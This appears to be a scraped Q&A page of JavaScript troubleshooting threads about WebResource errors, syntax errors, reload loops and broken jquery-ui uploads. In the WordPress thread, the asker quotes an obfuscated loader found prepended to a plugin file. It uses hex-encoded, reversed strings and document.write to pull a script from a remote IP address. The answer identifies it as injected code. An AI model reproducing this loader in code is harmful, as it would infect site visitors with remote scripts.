Javascript error/WebResource not found on a page with RequiredFieldValidators - javascript

A friend on mine is having an issue on one of his webforms, he referrs that everytime he loads one page containing RequiredFieldValidators the page throws the following Javascript/WebResource error:
Mesagge: Syntax error
Líne: 3
Character: 1
Code: 0
URI: http://localhost/miproyecto/WebResource.axd?CCL=ynu3FmO0gS8j
I thought that the issue could be related to a forms authentication problem so He allowed the resource to be a permitted file like this:
http://connect.microsoft.com/VisualStudio/feedback/details/105101/forms-authentication-using-login-control
However the problem persists
I wonder if there is a way to get rid of the issue.
Regards,
CR
Edit:Forgot to mention that when he comments the RequiredFieldValidators on the page, the error is gone. But the idea is to keep them.

He had a .js file linked to the page and this was causing the error. Once it was commented the page worked.
Thanks!

Related

Telerik Error - Parameter name: panelsCreated[6]

I have a simple page that uses telerik:RadAjaxManager.
For some reason on page load I'm getting this error in browser console:
I googled it, and found lots of articles where they say I need to switch off debug mode in web.config. So it would hide the error, but it doesn't solve it at all.
Any suggestions?

SyntaxError: missing ; before statement error in wordpress

All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.
I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.
Also added below line thinking the string concatnation might have caused it.
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.
EDIT:
I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.
Is this some kind of prefix by wordpress or unwanted string from elsewhere?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
Your _0xaae8 is missing ; before jQuery(document).ready(.
This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.

javascript reloading page: how to find the culprit

I have a page that is being continually reloaded, about every 45 seconds. If I disable javascript in the browser, the page stops reloading - so I suspect that some javascript is the culprit. But there's a large amount of it scattered across various .js files, some of them compressed. So I'm having a hard time poring thru the JS source trying to find the culprit.
I'm looking for ideas on how to find the cause - without reading (and understanding) all of the JS source.
I've tried using Break on Next in Firebug. It always breaks inside of jquery.min.js - but there's no history in the stack, so I can't tell who called jQuery.
The web page is http://www.sarasotasailingsquadron.org/
Other ideas?
Alright, so I have found part of your problem. I can't quite find where it originates, but maybe this will help you.
I haven't been able to completely reproduce your issue under Chrome, but every minute or so, I do see a request for your home page. According to Chrome's developer tools, that request is initiating within jQuery. (That doesn't mean jQuery is the culprit... that just means that whatever code is making the request is using jQuery to do it.)
In the console, there is a suspicious error message:
Resource interpreted as Image but transferred with MIME type text/html: "http://www.sarasotasailingsquadron.org/".
The call stack drops it down to $.transition. It seems that this has to do with your image transition header, "coin slider".
I've skimmed your code and don't see the reference, but somewhere I suspect you are trying to load your home page as an image in that header. Maybe you have some invalid HTML or a null URL to the image keeping it from populating the full request URL or something. In any case, this should help you track down the exact source.

Syntax Error: "Unexpected token <" in Web Console

Why am I getting this error in the web console? It just says "line 1, col 1" with that error. When I click the link, I'm brought to the source of my homepage, and it's telling me it didn't expect the < in the doctype!
(For SEO: opening angle bracket, less than sign)
TL;DR
check bad path to file.js
In my case, I was using a javascript library and loading a theme file as part of the configuration. I misspelled the path to the file, which is what caused all of this. Why didn't it give me a better error message? Because I have my website set up to redirect all 404s to the homepage. So it tried to interpret my homepage HTML as the js theme file.
If you get a strange error like this, there's a good chance that you just made a typo.
If you redirect 404s to the homepage, it would probably be a good idea to disable it during development.
I don't know if this could help anyone as this is an old post.
If you are using any Text Editor like Sub Lime there is great chance that use selected the tag from intellisense and the opening tag "<" that you first typed is still there.Check if you could find any.In this case review your DOCTYPE tag in the beginning of HTML

Why javascript doesn't work when the site is online?

On the following site : http://www.cefod.org/legitchad/web there are a lot of javascript (jquery, jquery-ui).
Everything is working offline, but when the website is online, no more script is working.
It seems there are no problem with the tags, since you can read them by clicking on the links in the page's source.
So, what is the problem ?
I get 2 error messages when running you site through Firebug:
illegal character in jquery-ui.js on line 7199
$.datepicher is undefined in ui-datepicker-fr.js on line 2
Probably has something to do with you problems
Firebug tells me your jquery-ui.js is broken in line 7199.
Looks like an encoding problem. Get a new file from the jquery ui website. Make sure it not get's broken during the upload.
Inside your jquery-ui.js, there is something wrong on line: 7199, I see al lot of characters that can not be found, maybe something went wrong on uploading this file.
What if you try using this URL, just checking if this makes the error, this is not the newest jQueryUI url, but it's the same version as you are using now:
https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
your file upload could have messed up,
did you try re-uploading?
because what I see in the file online at the mentioned lines above is "����������������������������������������..."
this could have happened if your transfer stopped and tried to resume

Categories

Resources